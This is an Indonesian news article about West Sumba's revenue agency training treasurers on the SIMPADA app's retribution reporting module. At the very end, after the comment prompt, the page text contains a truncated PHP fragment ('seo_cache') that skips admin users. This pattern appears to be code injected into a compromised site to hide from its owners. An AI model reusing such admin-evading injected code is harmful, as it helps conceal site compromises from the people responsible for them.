Birokrasi

Percepat Transformasi Digital, Bapenda Sumba Barat Gelar Bimtek Modul Retribusi SIMPADA

×

Percepat Transformasi Digital, Bapenda Sumba Barat Gelar Bimtek Modul Retribusi SIMPADA

Sebarkan artikel ini

WAIKABUBAK, MENARASUMBA.COM– Pemerintah Kabupaten Sumba Barat melalui Badan Pendapatan Daerah (Bapenda) menggelar Bimbingan Teknis (Bimtek) Pemanfaatan Aplikasi Sistem Informasi Manajemen Pendapatan Daerah (SIMPADA) untuk pelaporan retribusi daerah, Kamis (18/06/2026).

Kegiatan ini diikuti oleh bendahara penerimaan dari berbagai perangkat daerah sebagai bagian dari upaya memperkuat tata kelola pendapatan berbasis digital.

Kepala Bapenda Sumba Barat, Woldeman Herman Wello, S.Si, M.Si menyampaikan, transformasi digital telah menjadi kebutuhan dalam sistem pemerintahan modern.

Menurutnya, penerapan teknologi informasi merupakan bagian dari reformasi birokrasi untuk mewujudkan tata kelola pemerintahan yang efektif, transparan, dan akuntabel.

“Hampir seluruh sistem pemerintahan saat ini telah berbasis teknologi. Masyarakat menuntut pelayanan yang cepat, keterbukaan informasi, dan kemudahan akses sehingga pemerintah daerah harus mampu beradaptasi melalui digitalisasi,” ujarnya.

Ia menjelaskan, sejak Desember 2022 Pemerintah Kabupaten Sumba Barat telah menerapkan manajemen pajak daerah berbasis aplikasi SIMPADA.

Awalnya aplikasi tersebut digunakan untuk pelaporan dan pertanggungjawaban penerimaan pajak daerah, namun kini dikembangkan untuk mendukung pelaporan retribusi daerah secara terintegrasi.

Melalui sistem tersebut, seluruh laporan bendahara penerimaan dapat diinput secara langsung dan dipantau secara real time.

Integrasi data dengan BKAD, BPK, pimpinan daerah, hingga Sekretaris Daerah memungkinkan seluruh penerimaan ditampilkan dalam bentuk grafik dan laporan yang mempermudah proses monitoring, evaluasi, serta pengambilan keputusan.

Kepala Bapenda berharap, seluruh peserta mengikuti pelatihan secara serius agar mampu mengoperasikan aplikasi sesuai tugas dan tanggung jawab masing-masing.

Dalam arahannya, ia juga mengajak seluruh peserta untuk menguasai sistem digital tersebut karena dinilai dapat mempermudah pekerjaan, mempercepat proses pelaporan, dan meningkatkan kualitas laporan.

Selain itu, ia menekankan pentingnya tertib administrasi dalam setiap transaksi penerimaan daerah. Setiap transaksi retribusi wajib disertai dokumen pendukung yang sah agar seluruh penerimaan dapat dipertanggungjawabkan sesuai ketentuan administrasi dan peraturan perundang-undangan.

Materi Bimtek disampaikan oleh tim teknis pengembang aplikasi dari PT Mitra yang diwakili Hery. Materi yang diberikan meliputi pengenalan pengguna dan hak akses, tata cara login, pengenalan menu Modul Retribusi, penginputan data penerimaan, pencatatan transaksi, pengecekan daftar transaksi, hingga penyusunan dan pencetakan Surat Pertanggungjawaban (SPJ) melalui aplikasi.

Pelaksanaan Bimtek juga dilengkapi sesi praktik langsung dengan pendampingan tim teknis agar setiap bendahara penerimaan dapat memahami dan mempraktikkan alur penggunaan sistem secara menyeluruh.

Melalui kegiatan ini, Pemerintah Kabupaten Sumba Barat menegaskan komitmennya dalam memperkuat digitalisasi tata kelola pendapatan daerah sekaligus meningkatkan kualitas pelaporan retribusi demi pelayanan publik yang lebih tertib, transparan, dan akuntabel. ( PPKP-SB/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>